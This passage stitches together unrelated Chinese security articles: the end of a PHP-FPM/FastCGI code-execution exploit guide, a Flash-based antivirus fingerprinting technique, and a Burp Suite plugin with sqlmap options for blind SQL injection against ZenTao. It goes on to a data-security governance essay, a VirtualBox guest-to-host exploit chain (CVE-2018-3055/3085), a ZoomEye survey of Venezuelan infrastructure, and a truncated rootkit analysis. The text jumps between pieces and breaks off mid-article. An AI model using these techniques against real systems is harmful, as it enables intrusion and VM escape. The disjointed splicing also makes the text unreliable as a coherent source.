'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
设置`auto_prepend_file = php://input`且`allow_url_include =
On`，然后将我们需要执行的代码放在Body中，即可执行任意代码。
效果如下：
## EXP编写
上图中用到的EXP，就是根据之前介绍的fastcgi协议来编写的，代码如下：<https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75>
。兼容Python2和Python3，方便在内网用。
之前好些人总是拿着一个GO写的工具在用，又不太好用。实际上理解了fastcgi协议，再看看这个源码，就很简单了。
EXP编写我就不讲了，自己读代码吧。
* * * | 社区文章 |
# 【技术分享】利用 Flash 远程检测客户端安装的杀软
|
##### 译文声明
本文是翻译文章，文章来源：agrrrdog.blogspot.com
原文地址：<http://agrrrdog.blogspot.com/2016/06/remote-detection-of-users-av-via-flash.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：阿诺斯基
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
本文将提供一种检测用户已安装的杀软的可能的方法。如果我们想对用户发起攻击，那么获取该用户已安装的杀软信息是非常有用的。
本文所提供的方法主要基于以下两点：
1.现在的主流AV在检测恶意软件时会进行网络流量的分析。
通常情况下，http 和 smtp/pop3/imap 这类协议已经被分析了。然而，随着 TLS
加密传输越来越被广泛的使用，因此，杀软要分析被加密的网络传输信息，就需要针对用户的应用程序和远程服务器执行类似中间人攻击（MITM）的行为。为了绕过证书链的检测，杀软需要安装它自己的根证书到用户电脑上。之后，对加密的网络传输信息进行拦截，解密和分析。
如下图所示：
2\. Flash 支持原始的TCP套接字。
事实上，内嵌在浏览器网页中的 **swf** 文件即 **Flash** 可以接受或发送任意TCP数据包到一个远程服务器的任何一个端口。但是为了安全起见，
**Flash socket 也支持跨域策略** 。如果一个Flash想要通过 socket 连接到一台服务器时，它会连接远程服务器的 843
端口并且发送一个请求，这个请求的目的是获取
跨域策略对应的xml文件，即crossdomain.xml也就是我们所说的“主策略文件”。这个xml文件包含了安全策略的具体信息，比如：哪些域名才能连接该服务器的哪些端口等等。
Flash socket crossdomain.xml文件示例：
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/>
<allow-access-from domain="*" to-ports="443,995,465,587" />
</cross-domain-policy>
利用以上两点，就可以产生奇妙的结果。当我们利用一个Flash文件发起TLS连接，连接请求到远程服务器的指定端口（如：443，587等等），之后杀软将会拦截该请求。因此，Flash就会接受到一个由杀软生成的TLS证书，那么，通过根证书的名称就可以判断出用户安装了何种杀软。
整个攻击流程如下：
0) 用户访问我们的网站，用户的浏览器加载了网站中的恶意swf文件。
1）Flash通过socket连接我们的服务器的843端口请求crossdomain.xml文件的内容并获取请求权限。
2）Flash连接到我们的服务器的一个端口（如443，465等等）并且发送了一个“Client Hello”的TLS数据包。
3）服务器发送“Server Hello”的TLS响应数据包，该数据包携带有服务器的证书信息。
4）杀软拦截了此次传输，生成了新的证书并且利用杀软自己的根证书进行了签名。
5）Flash接收到了上一步中（已经被杀软处理过）的TLS数据包，之后再发送给我们的服务器。
6）通过解析TLS数据包获取根证书的名称，名称中包含了杀软的名称。
我创建了一个[POC](https://github.com/GrrrDog/FlashAV)
（<https://github.com/GrrrDog/FlashAV>）可能离实际的攻击效果相差很远，POC包含了一个特定的Flash和一个Python编写的
Socket Server。swf 发送原始的TLS请求（SSLv3）,并且发送被杀软处理过的响应数据包到Python Socket
Server。Python Socket Server 被用于解析数据包的证书名称以及构建crossdomain.xml文件内容。
我最初利用 Avast 杀软进行了测试，IE 和 Chrome 可以测试成功，但是Firefox却不行，在火狐浏览器中 Avast
并未对Flash连接443端口的请求做拦截。但是，在火狐浏览器中的Flash连接远程服务器的465或者587，993等端口时杀软则会拦截并且也能成功获取到用户安装的杀软名称。
之后我测试了卡巴斯基，但是并没有成功，卡巴斯基虽然会对浏览器的请求做拦截，但是并未拦截Flash的连接请求。
我并非“杀软”领域的专家，可能我在研究过程中，遗漏了什么细节。因此，我决定把这个好的想法分享出来 ;）。 | 社区文章 |
1、指定参数base64加密替换功能插件：
D:\plug_in\base64encode.py
2、为何要开发这个插件？
参考：D:\plug_in\header包头数据自动替换插件\test1.py
测试禅道的一个order
by注入，发现提交的参数先使用base64加密后提交，由于是高版本mysql,无显错式注入，手工盲注根本就是不可能完成的任务，于是想到开发一个burpsuite的插件来自动替换指定的url中的参数。
3、burpsuite代理神器下设置发包方式：
//sqlmap插件设置方法,这里不讨论插件的使用方法，请自行google:
\--dbms="mysql" --dbs --users --threads 10 --level 3 --hex
--proxy="<http://127.0.0.1:8080>"
//替换指定参数的效果截图：
#!/user/bin/env python
#D:\plug_in\base64encode.py
#coding=utf8
#auther:[email protected]
from burp import IBurpExtender
from burp import IHttpListener
# 导入 burp 接口
from burp import IProxyListener
from javax.swing import JOptionPane
import hashlib
import json
import ssl
import sys
import string,re,base64
def base64encode(m):
payload = base64.b64encode(m.group())
return payload
class BurpExtender(IBurpExtender,IHttpListener,IProxyListener):
def registerExtenderCallbacks(self,callbacks):
self._callbacks=callbacks
self._helpers=callbacks.getHelpers()
callbacks.setExtensionName("base64encode")
callbacks.registerHttpListener(self)
callbacks.registerProxyListener(self)
return
def processHttpMessage(self,toolFlag,messageIsRequest,messageInfo):
#if toolFlag==4 or toolFlag == 32:#Tool_proxy与intruder
if toolFlag == 32 or toolFlag==4: #Tool_proxy与intruder
if messageIsRequest: #操作request
rq=messageInfo.getRequest()
analyzerq=self._helpers.analyzeRequest(rq)
headers=analyzerq.getHeaders()
body=rq[analyzerq.getBodyOffset():]
#print headers
print "\n------------------------------------------Original Header------------------------------------------"
for header in headers:
print header
print body.tostring()
print type(header) #打印出类型
print "\n------------------------------------------Replaced Header------------------------------------------"
global data
data=body.tostring()
url=headers[0]
url=re.sub(r'\{.*\}',base64encode, url)
headers[0]=url
httpmsg=self._helpers.buildHttpMessage(headers,data)
messageInfo.setRequest(httpmsg)
tmpstr=self._helpers.bytesToString(httpmsg)
#print tmpstr.encode('utf-8')
#print type(header)
#取回并打印出header包
request = messageInfo.getRequest()
analyzedRequest = self._helpers.analyzeResponse(request)
request_header = analyzedRequest.getHeaders()
for header in request_header:
print header
print '\n'+data
if not messageIsRequest: #操作Response
#Response包打印
print "\n------------------------------------------Response------------------------------------------"
response = messageInfo.getResponse() # get response
analyzedResponse = self._helpers.analyzeResponse(response)
body = response[analyzedResponse.getBodyOffset():]
body_string = body.tostring() # get response_body
response_header = analyzedResponse.getHeaders()
for header in response_header:
print header
print '\n'+body_string
print "\n-------------------------------------------Response end--------------------------------------"
#实现了proxy功能中的Edited request:
def processProxyMessage(self,messageIsRequest,proxyMessage):
if messageIsRequest:
messageInfo=proxyMessage.getMessageInfo()
#print "[+]"+messageInfo.getHttpService().getHost()
try:
request = messageInfo.getRequest()
reqInfo = self._helpers.analyzeRequest(request)
headers = reqInfo.getHeaders()
bodyOffset = reqInfo.getBodyOffset()
body= request[bodyOffset:]
data=body.tostring()
url=headers[0]
url=re.sub(r'\{.*\}',base64encode, url)
headers[0]=url
newHttpMessage = self._helpers.buildHttpMessage(headers,data)
tmpstr=self._helpers.bytesToString(newHttpMessage)
print "\n-------------------------------------------Edited request--------------------------------------"
print "[tmpstr]:\n"+tmpstr.encode('utf-8')
messageInfo.setRequest(newHttpMessage);
print "\n-------------------------------------------Edited request end-----------------------------------"
except Exception as e:
print e | 社区文章 |
# 陌陌数据安全探索与实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一.引言
近几年来，全球数据安全事件屡见不鲜，大众用户对自身隐私数据的保护意识逐步提高，数据安全问题越来越受到各界关注，用户数据泄露给公司带来的经济、声誉影响被放大化。随着各国数据安全法的提议和制定（国内立法见图1，不赘述），还可能带来法律责任。
面对着灵活化、自由化的工作模式及其海量的数据、庞大的系统架构，怎样把最佳实践融入到实际工作中是数据安全亟待解决的问题。当然了，没有困难的问题，只有勇敢的打工人。陌陌安全总结了一些实际工作中的数据安全相关经验与大家讨论分享，也欢迎各位读者提出符合自身公司特点的方案一起交流借鉴。
图1：国内数据安全立法时间路线
## 二.数据安全探索与实践
我们主要从构建整体数据安全体系框架来讲（见图2），然后从数据安全生命周期逐一说明。
### **1.数据安全总体框架**
数据安全框架思路是从组织、制度以及技术保障三个层面共同实施。
组织保障：理清各部门在数据安全上的职责分工，责任落实到人。
制度保障：制定数据安全相关制度，明确数据安全要求。
技术保障：通过技术手段来落实数据安全组织和制度要求。
### **2.数据安全生命周期**
**2.1数据收集**
各公司在开展数据安全时，都不可避免的要先进行数据分类分级。面对迭代快速的业务及其海量数据时，尤其互联网行业没有成熟的分类分级标准，这就令很多从业者无从下手。那么我们到底应该如何进行分类分级呢？首先，大家应该对公司业务架构有个大体了解，按照业务架构大致明确下数据的分类，比如用户数据、业务数据；再思考公司的哪些数据是重要的。这里数据的重要性一方面是考虑监管，另一方面是考虑公司的业务。比如某某数据泄露了，会给公司带来什么样的影响，对公司的影响又会分为经济影响、舆论影响、法律影响等（见图3）。
顺着这种思路，就能定出来分类分级的大致雏形。
接下来就是按照分类分级的初步标准去做资产盘点。在做资产盘点时一方面要了解每个部门都有什么数据，对照分类分级进行汇总，另一方面要了解这些数据存在哪里，归属何处，从哪里来又会传到哪里去。在明确了这些后就能绘制出数据资产血脉图。笔者将在后面附上资产盘点表模板供大家参考(见图4）。
现在知道了数据资产盘点时重点关注什么，那么问题来了，应该如何去盘点这些海量的数据呢？笔者认为通过“人工+自动化工具”的双重方式识别是更加全面的。顾名思义，“人工”就是人工访谈、调研各部门数据。大家也可以去试用自家的APP、应用系统等，自主进行数据盘点，但是不要轻易试用生产环境的系统哦，这里还是建议申请隔离测试环境的权限。“自动化工具”就是通过在自动化扫描工具中配置关键词、正则表达式，来识别数据库特征敏感字段。
图3：分级依据
图4：资产盘点表模板
**2.2数据存储**
在数据存储阶段呢，就是众所周知的对称和非对称加密之类了，在这里就不做详细介绍了，大家按照自己公司的业务要求去做就好。
**2.3数据使用**
对于数据的日常使用来说，最基本的就是访问控制了。大家按照岗位—角色—权限的思路去梳理。
除此之外，这里为大家提供一些其他方面数据使用上的管理思路。比如：
大家日常工作中的数据交互，会涉及大量的数据提取，那么就可以充分将前面所述的盘点表利用起来，建立一套工单流程。
在访问应用系统时，页面上会涉及很多敏感数据，这些数据都可以做脱敏展示。当然也会有业务提出异议“业务使用场景就是需要看到敏感数据的！”，这样就需要做成半脱敏展示，只有逐条点击才能查看完整数据。同时大家也可以做脱敏平台，这样就可以解决不能使用生产数据，但是制造测试数据又非常麻烦的问题了。
另一块内容是大家经常会截图给同事发一些信息，这些截图很可能就包含敏感数据，那么可以做“屏幕水印+盲水印”，既起到威慑作用，又能有效追溯源头，一举两得。
最后一块是很多业务人员会从系统里下载导出敏感数据，那么我们在员工下载文件时，将文件加密，然后将密码以其他方式告知员工，这样就解决原始文件被泄露的风险了。
**2.4数据传输**
数据传输上，除了常规的https加密传输以及敏感数据加密处理外，在这里需要提一点，就是当数据传输给第三方时，我们应该怎么有效管控第三方。
首先应该评估第三方的数据安全能力，例如让对方填一份数据安全尽职调查表，然后对第三方接口进行测试、审核第三方的合作协议。
**2.5数据销毁**
数据销毁呢，这个阶段通常就是常规的重复覆写、消磁、物理破坏等销毁工作，纸质文件用碎纸机，当然备份的数据也不能忘记，不做过多介绍了。
**2.6数据安全培训、审计**
数据安全培训和审计是贯穿整个生命周期的存在，大家结合自己企业实际情况去开展。
## 三.结语
我们介绍了构建的数据安全整体框架，然后从生命周期角度做了一些分享，希望通过本次分享、交流，让更多的企业从业者了解一些数据安全实践方面的工作内容，部分考虑不周或者遗漏的内容也欢迎大家留言指正。如果大家觉得本文能给自己在数据安全工作中带来一些思路和想法的话，欢迎大家转载收藏。我们后续也会有针对性的选择几个方面做重点讲解。 | 社区文章 |
# 结合CVE-2018-3055与CVE-2018-3085攻击VirtualBox 3D加速
##### 译文声明
本文是翻译文章，文章来源：phoenhex.re
原文地址：<https://phoenhex.re/2018-07-27/better-slow-than-sorry>
译文仅供参考，具体内容表达以及含义原文为准。
通过精妙构造，VirtualBox虚拟机的主机进程可以访问VBoxDrv内核驱动程序。即便它以VM用户权限启动运行，同样也可以用于本地提权。
在这篇博文中，我将结合 CVE-2018-3055 和 CVE-2018-3085
来破坏VirtualBox中启用了3D加速的虚拟机。这两个漏洞都已在VirtualBox最新的5.2.16版本中被修复。
## 概述
3D加速功能作为`共享OpenGL`存在于代码库中，基于用来作分布式OpenGL渲染的Chromium库，不要与和它同名（但7年后才诞生）的Web浏览器相混淆
Chromium定义了一个描述OpenGL操作的网络协议，它可以传递给一个已存在的OpenGL实例
VirtualBox正在维护Chromium的一个分支，并通过`HGCM`（主机-客户端 通信管理器）隧道协议传输消息。HGCM本质上是一个非常简单的
客户端-主机
RPC协议，一旦连接到HGCM服务，客户端虚拟机就可以使用整数和缓冲区参数进行简单的远程调用，并在主机端处理它们。之后会返回一个状态代码，并且被调用者可能会更改参数，以便将数据传递回客户端虚拟机
值得注意的是，HGCM接口由 客户端虚拟机添加程序 暴露给非特权进程。如果没有安装 客户端虚拟机添加程序，则需要root权限才能安装 客户端虚拟机驱动程序
并且需要公开设备，以便攻击共享的OpenGL。
## Chromium消息基础
存在不同类型的Chromium消息，它们表示为 CRMessage联合类型
typedef struct {
CRMessageType type;
unsigned int conn_id;
} CRMessageHeader;
typedef struct CRMessageOpcodes {
CRMessageHeader header;
unsigned int numOpcodes;
} CRMessageOpcodes;
typedef struct CRMessageRedirPtr {
CRMessageHeader header;
CRMessageHeader* pMessage;
#ifdef VBOX_WITH_CRHGSMI
CRVBOXHGSMI_CMDDATA CmdData;
#endif
} CRMessageRedirPtr;
typedef union {
CRMessageHeader header;
CRMessageOpcodes opcodes;
CRMessageRedirPtr redirptr;
...
} CRMessage;
该类型存储在`header.type`字段中，我们重点关注 `CR_MESSAGE_OPCODES` 和 `CR_MESSAGE_REDIR_PTR
消息`。 `CR_MESSAGE_OPCODES消息`
包含作为前缀的操作码数，紧接着的是描述实际Chromium操作码的字节数组，这些操作码以特殊方式编码。 例如，一条简单的消息可能如下所示：
uint32_t message[] = {
CR_MESSAGE_OPCODES, // msg.header.type
0x41414141, // msg.header.conn_id
1, // msg.numOpcodes
CR_EXTEND_OPCODE << 24 // 8-bit opcode indicating an extended opcode follows
0x42424242, // <padding, for whatever reason>
CR_WRITEBACK_EXTEND_OPCODE // 32-bit extended opcode
0x43434343, // some extra payload data for this opcode
0x44444444,
};
每个操作码都有一个关联的 解包器 和 调度程序，分别以 `crUnpack` 和 `crServerDispatch` 为前缀。
此特定操作码的解包器如下所示：
/* in cr_unpack.h */
extern CRNetworkPointer * writeback_ptr;
// ...
#define SET_WRITEBACK_PTR( offset ) do {
CRDBGPTR_CHECKZ(writeback_ptr);
crMemcpy( writeback_ptr, cr_unpackData + (offset), sizeof( *writeback_ptr ) );
} while (0);
/* in unpack_writeback.c */
void crUnpackExtendWriteback(void)
{
/* This copies the unpack buffer's CRNetworkPointer to writeback_ptr */
SET_WRITEBACK_PTR( 8 );
cr_unpackDispatch.Writeback( NULL );
}
这告诉Chromium将偏移量为8处的Payload写回到响应缓冲区，上面例子中的字符串是“`ccccdddd`”。我不确定这对此功能的正常使用有什么必要性，但它为我们提供了一个“`echo`”语句来写回我们控制的数据，这对于利用漏洞肯定是有很大帮助的。
## CVE-2018-3055
Chromium消息解析器中有几个位置，其中 `SET_RETURN_PTR` 和 `SET_WRITEBACK_PTR` 使用用户控制的偏移调用。比如
`src/VBox/HostServices/SharedOpenGL/unpacker/unpack_program.c` 里的
`crUnpackExtendAreProgramsResidentNV`：
void crUnpackExtendAreProgramsResidentNV(void)
{
GLsizei n = READ_DATA(8, GLsizei);
const GLuint *programs = DATA_POINTER(12, const GLuint);
SET_RETURN_PTR(12 + n * sizeof(GLuint));
SET_WRITEBACK_PTR(20 + n * sizeof(GLuint));
(void) cr_unpackDispatch.AreProgramsResidentNV(n, programs, NULL);
}
我们在Chromium消息响应中的 `return_ptr` 和 `writeback_ptr` 处接收数据，并且能完全控制
`n`。这意味着泄漏的数据可以位于消息缓冲区中的任意偏移量处，而无需进行边界检查。唯一的限制是 `n`
必须为非负数，否则我们将遇到其他整数溢出问题，在调用程序时崩溃。由于我们能够通过值 `n` 控制消息的分配大小和泄漏的偏移量，因此这是一个完美的用来公开
存储在堆上的指针 和 数据 的语句。
## CVE-2018-3085
Chromium消息最终由 `src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c`
里的 `crServerDispatchMessage` 函数处理
static void
crServerDispatchMessage(CRConnection *conn, CRMessage *msg, int cbMsg)
{
// ...
if (msg->header.type == CR_MESSAGE_REDIR_PTR)
{
#ifdef VBOX_WITH_CRHGSMI // this is defined in prod builds
pCmdData = &msg->redirptr.CmdData;
#endif
msg = (CRMessage *) msg->redirptr.pMessage;
}
CRASSERT(msg->header.type == CR_MESSAGE_OPCODES);
msg_opcodes = (const CRMessageOpcodes *) msg;
opcodeBytes = (msg_opcodes->numOpcodes + 3) & ~0x03;
// handle opcodes here...
#ifdef VBOX_WITH_CRHGSMI
if (pCmdData)
{
int rc = VINF_SUCCESS;
CRVBOXHGSMI_CMDDATA_ASSERT_CONSISTENT(pCmdData);
if (CRVBOXHGSMI_CMDDATA_IS_SETWB(pCmdData))
{
uint32_t cbWriteback = pCmdData->cbWriteback;
rc = crVBoxServerInternalClientRead(conn->pClient, (uint8_t*)pCmdData->pWriteback, &cbWriteback);
Assert(rc == VINF_SUCCESS || rc == VERR_BUFFER_OVERFLOW);
*pCmdData->pcbWriteback = cbWriteback;
}
VBOXCRHGSMI_CMD_CHECK_COMPLETE(pCmdData, rc);
}
#endif
}
很明显，如果 msg 完全由 客户端 控制，将能够以各种方式中断。尤其，客户端虚拟机可以将消息类型设置为
`CR_MESSAGE_REDIR_PTR`，并设置 `msg-> redirpt` 用来将其指向伪造的 `CR_MESSAGE_OPCODES`
消息。如果伪造的消息产生响应，它将被写入 `pCmdData-> pWriteback`，这也是攻击者能够控制的，因为它是从 `msg->
redirptr`获取过来的。现在我们已经知道可以使用 `CR_WRITEBACK_EXTEND_OPCODE消息` 来控制8个字节的响应，如果我们可以注入
`CR_MESSAGE_REDIR_PTR消息`，问题将仍然存在。
如果通过HGCM访问Chromium子系统 `src/VBox/GuestHost/OpenGL/util/vboxhgcm.c` 里的
`_crVBoxHGCMReceiveMessage` 函数，将负责从缓冲区读取消息并将其放入Chromium处理队列中：
static void _crVBoxHGCMReceiveMessage(CRConnection *conn)
{
// ...
if (conn->allow_redir_ptr)
{
// ...
// [[ 1 ]]
hgcm_buffer = (CRVBOXHGCMBUFFER *) _crVBoxHGCMAlloc( conn ) - 1;
hgcm_buffer->len = sizeof(CRMessageRedirPtr);
msg = (CRMessage *) (hgcm_buffer + 1);
msg->header.type = CR_MESSAGE_REDIR_PTR;
msg->redirptr.pMessage = (CRMessageHeader*) (conn->pBuffer);
msg->header.conn_id = msg->redirptr.pMessage->conn_id;
// ...
cached_type = msg->redirptr.pMessage->type;
// ...
}
else
{
/* we should NEVER have redir_ptr disabled with HGSMI command now */
CRASSERT(!conn->CmdData.pvCmd);
if ( len <= conn->buffer_size )
{
// [[ 2 ]]
/* put in pre-allocated buffer */
hgcm_buffer = (CRVBOXHGCMBUFFER *) _crVBoxHGCMAlloc( conn ) - 1;
}
else
{
// [[ 3 ]]
/* allocate new buffer,
* not using pool here as it's most likely one time transfer of huge texture
*/
hgcm_buffer = (CRVBOXHGCMBUFFER *) crAlloc( sizeof(CRVBOXHGCMBUFFER) + len );
hgcm_buffer->magic = CR_VBOXHGCM_BUFFER_MAGIC;
hgcm_buffer->kind = CR_VBOXHGCM_MEMORY_BIG;
hgcm_buffer->allocated = sizeof(CRVBOXHGCMBUFFER) + len;
}
hgcm_buffer->len = len;
_crVBoxHGCMReadBytes(conn, hgcm_buffer + 1, len);
msg = (CRMessage *) (hgcm_buffer + 1);
cached_type = msg->header.type;
}
// ...
// [[ 4 ]]
crNetDispatchMessage( g_crvboxhgcm.recv_list, conn, msg, len );
// [[ 5 ]]
/* CR_MESSAGE_OPCODES is freed in crserverlib/server_stream.c with crNetFree.
* OOB messages are the programmer's problem. -- Humper 12/17/01
*/
if (cached_type != CR_MESSAGE_OPCODES
&& cached_type != CR_MESSAGE_OOB
&& cached_type != CR_MESSAGE_GATHER)
{
_crVBoxHGCMFree(conn, msg);
}
}
我们将看到两种不同的情况：
如果 `conn-> allow_redir_ptr`为 true，则分配 `CR_MESSAGE_REDIR_PTR消息`
并指向客户端虚拟机所提供的消息。如果不是这种情况，则将 `客户端虚拟机消息` 直接放入消息队列中。
## 触发漏洞
如果 `allow_redir_ptr` 永远为 true，那么由于 `_crVBoxHGCMAlloc` 的工作方式，`use-after-free`
将无法被利用。 那这个标志是什么意思呢？ `cr_net.h` 中的注释给出了一个线索：
/* Used on host side to indicate that we are not allowed to store above pointers for later use
* in crVBoxHGCMReceiveMessage. As those messages are going to be processed after the corresponding
* HGCM call is finished and memory is freed. So we have to store a copy.
* This happens when message processing for client associated with this connection
* is blocked by another client, which has send us glBegin call and we're waiting to receive glEnd.
*/
uint8_t allow_redir_ptr;
由于Chromium必须能够同时处理多个连接，即VirtualBox的多个HGCM连接，它需要复用来自不同客户端所有传入的OpenGL命令。如果一个客户端发送了
`glBegin`，它将无法处理来自其他客户端的命令，直到接受了相应的 `glEnd`。
虽然情况确实如此，但对于其他客户端，`allow_redir_ptr` 仍然为 false。在
`src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c` 的
`crVBoxServerInternalClientWriteRead` 函数中可见端疑：
if (
#ifdef VBOX_WITH_CRHGSMI
!CRVBOXHGSMI_CMDDATA_IS_SET(&pClient->conn->CmdData) &&
#endif
cr_server.run_queue->client != pClient
&& crServerClientInBeginEnd(cr_server.run_queue->client))
{
crDebug("crServer: client %d blocked, allow_redir_ptr = 0", pClient->conn->u32ClientID);
pClient->conn->allow_redir_ptr = 0;
}
else
{
pClient->conn->allow_redir_ptr = 1;
}
因此，要触发 `allow_redir_ptr == 0`分支，我们只需要在一个客户端发出
`glBegin`，然后在另一个客户端发送伪造的消息，它将被放入消息队列中而不进行检查。在发送了 `glEnd` 后，才会被处理。所以一下是第一个攻击计划：
1. 在客户端A中发出 `glBegin`
2. 在客户端B中发送伪造的 `CR_MESSAGE_REDIR_PTR`
3. 在客户端A中发出 `glEnd`
4. 炸了没？
**然而这并没有什么卵用**
我们必须继续处理，因为以下事件并不会自动完成：由于 `路径[[5]]` 中不合适的空闲时机，我们在步骤2中发送的消息在被处理之前释放掉了。如果我们选择通过
`路径[[2]]` 在步骤2中分配消息，那么来自步骤3的消息又将覆盖它并将被处理两次。如果我们通过 `路径[[3]]`
分配它，那么（至少在Linux和Windows上）在 free（释放）之后它所包含的一些堆元数据将会是些无效数据。
**所以，替代方案如下**
1 . 在客户端A中发出 `glBegin`
2 . 在客户端B中发送一个大的伪造 `CR_MESSAGE_REDIR_PTR`，它将触发 `路径[[3]]`（操作系统提供的 malloc函数）
3 .通过调用具有相同大小和内容的 `HGCM` 来写入一些缓存，希望它们占用被释放掉的消息缓冲区
4 . 在客户端A中发出 `glEnd`
最终，来自 步骤3 的消息将在处理之前重用 步骤2 中的消息空间，且最终结果如我们所期待的那样：完全控制传递给
`crServerDispatchMessage` 的消息，并实现 `write-what-where` 语句
与之前的信息泄漏配合，这可以变成更灵活和可重复的写语句，并最终实现 `任意读/写`。 | 社区文章 |
**作者：知道创宇404实验室
时间：2019年3月21日
ZoomEye 专题：<https://www.zoomeye.org/topic?id=ZoomEye-series-report>
PDF报告：[下载](https://images.seebug.org/archive/%E7%9F%A5%E9%81%93%E5%88%9B%E5%AE%87404%E5%AE%9E%E9%AA%8C%E5%AE%A4ZoomEye%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E6%B5%8B%E7%BB%98%E5%A7%94%E5%86%85%E7%91%9E%E6%8B%89%E5%81%9C%E7%94%B5%E4%BA%8B%E4%BB%B6%E5%AF%B9%E5%85%B6%E7%BD%91%E7%BB%9C%E5%85%B3%E9%94%AE%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD%E5%92%8C%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF%E7%B3%BB%E7%BB%9F%E5%BD%B1%E5%93%8D_kpYaqCd.pdf
"下载")
English Version: <https://paper.seebug.org/871/>**
### 一．前言
委内瑞拉，是一个位于南美洲北部的热带国家，也是南美洲最重要的产油国。根据《2012年度世界能源统计数据报告》，委内瑞拉已探明石油储量为2965亿桶，占全球18%，石油出口也成为了该国主要的经济支柱。
由于该国政策、国际形势等多方面因素的影响，近些年该国石油产量逐年下滑，国内局势动荡。2019年3月7日晚，委内瑞拉发生了大面积停电事件，全国大范围陷入黑暗。
本文将从网络空间测绘的视角对该国的网络建设情况和停电事件进行一定的分析判断。
### 二．委内瑞拉网络建设情况
截止2019年3月15日，ZoomEye 一共收录了委内瑞拉 1637553 个 IP 的 3067202 条 banner 信息。
#### 2.1 设备类型统计
已识别的设备组件约占该国总设备组件的三分之二，其中 ZTE ZXV10 W300 路由器的web管理界面约占总设备组件数的十分之一。
值得一提的是，一共识别出 306444 台 ZTE ZXV10 W300 路由器，299250 个 Dropbear sshd服务，即是 ZTE ZXV10
W300路由器又存在 Dropbear sshd服务的IP数量高达 244111
个。依次可以做出判断：该路由器可能被广泛用作家庭路由器。这也就意味着，一旦该路由器存在漏洞被攻击，可能会导致委内瑞拉大范围的家庭网络瘫痪。
#### 2.2 开放端口统计
端口分布情况如下：
根据 1.1 已知的结论，该国已经识别出的banner主要是ZTE ZXV10 W300
路由器。80、443、22、7547端口占比较高也和该路由器占比较高有关。
值得注意的是，5357端口出现在第十位，其中有 62139 个 banner 被识别为 Microsoft-HTTPAPI/2.0。经过判断，这些 IP
都属于 Movilnet公司。根据其官网介绍， Movilnet 是委内瑞拉移动通信的领先公司,属于委内瑞拉的国营电话和互联网服务提供商 CANTV
的子公司。
#### 2.3 ISP归属统计
根据 IP 所属ISP（互联网服务供应商）统计结果如下：
委内瑞拉的国营电话和互联网服务提供商 CANTV 占据了绝对的优势，百分之85的IP都属于该公司。
注： CANTV 是委内瑞拉的国营电话和互联网服务提供商，是委内瑞拉最大的电信提供商。1991年私有化后，2007年重新国有化。细观该 ISP
下的路由器，也大多是 ZTE ZXV10 W300。 还有少量其它品牌的路由器，例如： D-Link、 TP-Link 等。部分路由器可能存在漏洞（例如D-Link DIR系列，该系列路由器历史上存在大量安全漏洞。而在该ISP下，存在三个D-Link DIR系列路由器 ）
ISP 为 CANTV 下识别的组件分布
排名第二的 Corporación Telemic C.A. 为委内瑞拉电视广播公司和电信提供商。相比于 CANTV 中存在的组件而言，该 ISP
下并未存在大量民用路由器，取而代之的是存在 11219 台被识别为 Microsoft HTTPAPI httpd 的组件。经过验证，这部分 IP
背后对应着真实的 Windows 系统。
#### 2.4 HTTPS证书统计
ZoomEye网络空间搜索引擎一共识别出 252144 个 HTTPS 证书信息，去除路由器的证书、自签名证书 等证书信息后，一共提取出 645
个域名信息，其中域名类型如下：
政府和教育类网站占据了总网站数量的四分之一，邮件类网站占比为 12%，其它类型网站仅占比 62%。从 HTTPS
证书的角度来看，该国互联网发展较为落后，政府/教育类网站仍然是该国互联网发展的主要力量。
#### 2.5 安全响应能力
2017年永恒之蓝漏洞泄露后，能否快速修复相关漏洞也从侧面反映出安全响应能力。
可以看到，委内瑞拉在 2017年4月24日，漏洞刚爆发时，仅仅只有3个主机被植入 Doublepulsar
后门。这也从侧面反映出该国并非网络战争的首要目标。但是在漏洞已经爆发了三个星期后，该国存在漏洞的主机数量仍然有 132 台，仅仅比最开始的 179 台减少了
47 台，这也从侧面反映出该国安全应急响应能力十分欠缺。
#### 2.6 石油销售渠道
在对该国背景的了解中，可以知道：该国主要依赖于石油出口。但在对已有的
banner进行搜索之后，我们仅仅发现了一家石油生产相关的公司（`http://200.*.*.*`）和一个出口各类物品（包括石油）的公司（`http://201.*.*.*`）。
从侧面也反映出该国石油出口有固定的经销渠道，印证了石油开采被国有企业把控的事实。
#### 2.7 工控端口分布情况
根据 ZoomEye 网络空间搜索引擎的数据，委内瑞拉少量工控设备暴露在公网。已知的工控设备或工控协议有（近一年内活跃过的）：
工控设备/协议 | 数量
---|---
Siemens S7 PLC Device | 1
Modbus | 6
BACnet | 1
Crimson V3 | 1
OMRON FINS | 1 | 社区文章 |
本文翻译自：<https://research.checkpoint.com/ceidpagelock-a-chinese-rootkit/>
* * *
近期，研究人员发现一个通过RIG
Exploit套件进行传播的rootkit——CEIDPageLock。该rootkit最早是360安全中心5月份发现的，当时尝试修改受害者浏览器的主页。这也是CEIDPageLock的本质，浏览器劫持器。CEIDPageLock会操作受害者的浏览器，并将主页修改为2345.com。
该rootkit的最新版本对浏览器劫持非常熟练，而且含有一些改进，使其给更加高效。其中之一是监控用户浏览行为和用虚假主页动态替换主流中文站点内容的新功能。
CEIDPageLock这类恶意软件使用的浏览器劫持可以通过将受害者重定向到搜索引擎等方式来盈利。另外，恶意软件运营者会使用不同的劫持技巧来收集受害者浏览的数据，监控网站用户的访问和在网页上花费的时间。然后使用这些信息来定向广告分发或出售给其他公司。
基于Check Point的数据，CEIDPageLock主要攻击中国受害者，中国以外的受害者数量可以忽略不计。
图1: 不同国家感染数据
# Dropper
Dropper的主要责任是提取文件中的驱动，并保存到`\\Windows\\Temp`目录下，保存名为`houzi.sys`（老版本的驱动名为CEID.sys，这也是恶意软件命名的来源）。
